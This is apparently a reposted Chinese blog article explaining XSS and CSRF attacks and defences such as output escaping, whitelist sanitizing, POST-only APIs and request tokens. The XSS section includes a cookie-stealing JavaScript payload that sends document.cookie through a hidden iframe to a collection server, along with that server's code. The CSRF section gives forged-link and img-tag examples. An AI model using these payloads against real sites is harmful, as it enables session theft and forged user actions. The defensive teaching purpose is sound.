总结 XSS 与 CSRF 两种跨站攻击
在那個年代,大家一般用拼接字符串的方式來構造動態(tài) SQL 語句創(chuàng)建應用,于是 SQL 注入成了很流行的攻擊方式。在這個年代, 參數(shù)化查詢 [1] 已經(jīng)成了普遍用法,我們已經(jīng)離 SQL 注入很遠了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由于之前已經(jīng)對 XSS 很熟悉了,所以我對用戶輸入的數(shù)據(jù)一直非常小心。如果輸入的時候沒有經(jīng)過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉義。所以個人感覺,要避免 XSS 也是很容易的,重點是要“小心”。但最近又聽說了另一種跨站攻擊 CSRF ,于是找了些資料了解了一下,并與 XSS 放在一起做個比較。
XSS:腳本中的不速之客
XSS 全稱“跨站腳本”,是注入攻擊的一種。其特點是不對服務器端造成任何傷害,而是通過一些正常的站內(nèi)交互途徑,例如發(fā)布評論,提交含有 JavaScript 的內(nèi)容文本。這時服務器端如果沒有過濾或轉義掉這些腳本,作為內(nèi)容發(fā)布到了頁面上,其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的后果有很多中,可能只是簡單的惡作劇——一個關不掉的窗口:
while (true) {alert("你關不掉我~"); }也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程,先建立一個用來收集信息的服務器:
#!/usr/bin/env python #-*- coding:utf-8 -*-""" 跨站腳本注入的信息收集服務器 """ import bottleapp = bottle.Bottle() plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite') app.install(plugin)@app.route('/myxss/') def show(cookies, db):SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'try:db.execute(SQL, cookies)except:passreturn ""if __name__ == "__main__":app.run()然后在某一個頁面的評論中注入這段代碼:
// 用 <script type="text/javascript"></script> 包起來放在評論中 (function(window, document) {// 構造泄露信息用的 URLvar cookies = document.cookie;var xssURIBase = "http://192.168.123.123/myxss/";var xssURI = xssURIBase + window.encodeURI(cookies);// 建立隱藏 iframe 用于通訊var hideFrame = document.createElement("iframe");hideFrame.height = 0;hideFrame.width = 0;hideFrame.style.display = "none";hideFrame.src = xssURI;// 開工 document.body.appendChild(hideFrame); })(window, document);?
于是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背后正悄悄的發(fā)起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發(fā)送到收集服務器上。
?
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當前域名下的 URL,所謂不能“跨域”問題。這種做法的初衷也是防范 XSS,多多少少都起了一些作用,
但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達到相同的目的。甚至在愿意的情況下,我還能用 iframe 發(fā)起 POST 請求。當然,現(xiàn)在一些瀏覽器能夠很智能地分析出部分 XSS 并予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什么是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應該把事關安全性的責任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點對于 Web 開發(fā)者應該是常識。
?
正如上文所說,如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本,那么把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發(fā)框架、模版引擎的開發(fā)者也發(fā)現(xiàn)了這一點,Django 內(nèi)置模版和 Jinja2 模版總是默認轉義輸出變量的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數(shù),Python 可以導入 cgi 模塊用其中的 cgi.escape 函數(shù)。如果使用了某款模版引擎,那么其必自帶了方便快捷的轉義方式。
?
真正麻煩的是,在一些場合我們要允許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的,任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執(zhí)行 JavaScript。對于復雜的情況,我個人更傾向于使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構,但我們并不將這些數(shù)據(jù)直接存入數(shù)據(jù)庫,而是使用 HTML 解析庫遍歷節(jié)點,獲取其中數(shù)據(jù)(之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性)。然后根據(jù)用戶原有的標簽屬性,重新構建 HTML 元素樹。構建的過程中,所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別(前面說了 HTML 不同于 XML,要求有很強的容錯性),那么它不會成為漏網(wǎng)之魚,因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最后獲得的新 HTML 元素樹,我們可以拍胸脯保證——所有的標簽、屬性都來自白名單,一定不會遺漏。
?
現(xiàn)在看來,大多數(shù) Web 開發(fā)者都了解 XSS 并知道如何防范,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由于疏漏。我個人建議在使用模版引擎的 Web 項目中,開啟(或不要關閉)類似 Django Template、Jinja2 中“默認轉義”(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似 {{ myvar | raw }} 的方式取消轉義。這種白名單式的做法,有助于降低我們由于疏漏留下 XSS 漏洞的風險。
?
另外一個風險集中區(qū)域,是富 AJAX 類應用(例如豆瓣網(wǎng)的阿爾法城)。這類應用的風險并不集中在 HTTP 的靜態(tài)響應內(nèi)容,所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發(fā)者不得不自己打開危險的大門。這種情況下,站點的安全非常 依賴開發(fā)者的細心和應用上線前有效的測試。現(xiàn)在亦有不少開源的 XSS 漏洞測試軟件包(似乎有篇文章提到豆瓣網(wǎng)的開發(fā)也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎么說,我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
?
更新(2014-10-04)
這里附上一些“白名單”消毒 HTML 標簽和屬性(Sanitize HTML)的開源解決方案:
- Python: lxml.html.clean / bleach
- Ruby: Sanitize
- JavaScript: sanitize-html
- PHP: htmlpurifier
?
?
CSRF:冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么區(qū)別,后來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現(xiàn) CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現(xiàn)的 CSRF 稱為 XSRF。
CSRF 的全稱是“跨站請求偽造”,而 XSS 的全稱是“跨站腳本”。看起來有點相似,它們都是屬于跨站攻擊——不攻擊服務器端而攻擊正常訪問網(wǎng)站的用戶,但前面說了,它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義,是偽造請求,冒充用戶在站內(nèi)的正常操作。我們知道,絕大多數(shù)網(wǎng)站是通過 cookie 等方式辨識用戶身份(包括使用服務器端 Session 的網(wǎng)站,因為 Session ID 也是大多保存在 cookie 里面的),再予以授權的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發(fā)起用戶所不知道的請求。
嚴格意義上來說,CSRF 不能分類為注入攻擊,因為 CSRF 的實現(xiàn)途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現(xiàn) CSRF 易如反掌,但對于設計不佳的網(wǎng)站,一條正常的鏈接都能造成 CSRF。
例如,一論壇網(wǎng)站的發(fā)貼是通過 GET 請求訪問,點擊發(fā)貼之后 JS 把發(fā)貼內(nèi)容拼接成目標 URL 并訪問: http://example.com/bbs/create_post.php?title=標題&content=內(nèi)容 那么,我只需要在論壇中發(fā)一帖,包含一鏈接: http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈 只要有用戶點擊了這個鏈接,那么他們的帳戶就會在不知情的情況下發(fā)布了這一帖子??赡苓@只是個惡作劇,但是既然發(fā)貼的請求可以偽造,那么刪帖、轉帳、改密碼、發(fā)郵件全都可以偽造。
如何解決這個問題,我們是否可以效仿上文應對 XSS 的做法呢?過濾用戶輸入, 不允許發(fā)布這種含有站內(nèi)操作 URL 的鏈接。這么做可能會有點用,但阻擋不了 CSRF,因為攻擊者可以通過 QQ 或其他網(wǎng)站把這個鏈接發(fā)布上去,為了偽裝可能還使用 bit.ly 壓縮一下網(wǎng)址,這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ,我們的視角需要和對待 XSS 有所區(qū)別。CSRF 并不一定要有站內(nèi)的輸入,因為它并不屬于注入攻擊,而是請求偽造。被偽造的請求可以是任何來源,而非一定是站內(nèi)。所以我們唯有一條路可行,就是過濾請求的 處理者。
比較頭痛的是,因為請求可以從任何一方發(fā)起,而發(fā)起請求的方式多種多樣,可以通過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內(nèi)部發(fā)起請求(總是個大隱患)。由于幾乎沒有徹底杜絕 CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。
?
首先可以提高的一個門檻,就是改良站內(nèi) API 的設計。對于發(fā)布帖子這一類創(chuàng)建資源的操作,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。當然,最理想的做法是使用REST 風格 [2] 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創(chuàng)建、修改、刪除?,F(xiàn)在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然后用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來,不同的資源操作區(qū)分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經(jīng)不可能通過發(fā)布鏈接來偽造請求了,但他們?nèi)钥梢园l(fā)布表單,或者在其他站點上使用我們?nèi)庋鄄豢梢姷谋韱?#xff0c;在后臺用 js 操作,偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防御 CSRF,這個方法就是“請求令牌”。讀過《J2EE 核心模式》的同學應該對“同步令牌”應該不會陌生,“請求令牌”和“同步令牌”原理是一樣的,只不過目的不同,后者是為了解決 POST 請求重復提交問題,前者是為了保證收到的請求一定來自預期的頁面。實現(xiàn)方法非常簡單,首先服務器端要以某種策略生成隨機字符串,作為令牌(token), 保存在 Session 里。然后在發(fā)出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一并發(fā)出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,否則返回 HTTP 403 拒絕請求或者要求用戶重新登錄驗證身份。
?
請求令牌雖然使用起來簡單,但并非不可破解,使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意:
- 雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,獲取令牌內(nèi)容。如果全局使用一個 Session Key,那么危險系數(shù)會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計服務器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標識作為 Session 中保存令牌的鍵。
- 在 ajax 技術應用較多的場合,因為很有請求是 JavaScript 發(fā)起的,使用靜態(tài)的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。
- 第一點說了請求令牌理論上是可破解的,所以非常重要的場合,應該考慮使用驗證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗都不好,所以需要產(chǎn)品開發(fā)者權衡。
- 無論是普通的請求令牌還是驗證碼,服務器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統(tǒng)就有這個 問題,驗證碼用完并未銷毀,故只要獲取一次驗證碼圖片,其中的驗證碼可以在多次請求中使用(只要不再次刷新驗證碼圖片),一直用到 Session 超時。這也是為何選課系統(tǒng)加了驗證碼,外掛軟件升級一次之后仍然暢通無阻。
?
如下也列出一些據(jù)說能有效防范 CSRF,其實效果甚微的方式甚至無效的做法。
- 通過 referer 判定來源頁面:referer 是在 HTTP Request Head 里面的,也就是由請求的發(fā)送者決定的。如果我喜歡,可以給 referer 任何值。當然這個做法并不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。
- 過濾所有用戶發(fā)布的鏈接:這個是最無效的做法,因為首先攻擊者不一定要從站內(nèi)發(fā)起請求(上面提到過了),而且就算從站內(nèi)發(fā)起請求,途徑也遠遠不止鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇,還不需要用戶去點擊,只要用戶的瀏覽器會自動加載圖片,就會自動發(fā)起請求。
- 在請求發(fā)起頁面用 alert 彈窗提醒用戶:這個方法看上去能干擾站外通過 iframe 發(fā)起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者干脆脫離 iframe,使用 Flash 來達到目的。
總體來說,目前防御 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會含有“無恥”二字來形容(另一位有該名號的貌似是 DDOS 攻擊)。作為開發(fā)者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網(wǎng)站就逼近于絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我 認為是最有可擴展性的,因為其原理和 CSRF 原理是相克的。CSRF 難以防御之處就在于對服務器端來說,偽造的請求和正常的請求本質(zhì)上是一致的。而請求令牌的方法,則是揪出這種請求上的唯一區(qū)別——來源頁面不同。我們還可 以做進一步的工作,例如讓頁面中 token 的 key 動態(tài)化,進一步提高攻擊者的門檻。本文只是我個人認識的一個總結,便不討論過深了。
| [1] | 維基百科的“參數(shù)化查詢”詞條 |
| [2] | 維基百科的“REST |
?
?
轉自(https://blog.tonyseek.com/post/introduce-to-xss-and-csrf/)
?
總結
以上是生活随笔為你收集整理的总结 XSS 与 CSRF 两种跨站攻击的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 网页延迟分析
- 下一篇: 讨论MySQL丢失数据的几种情况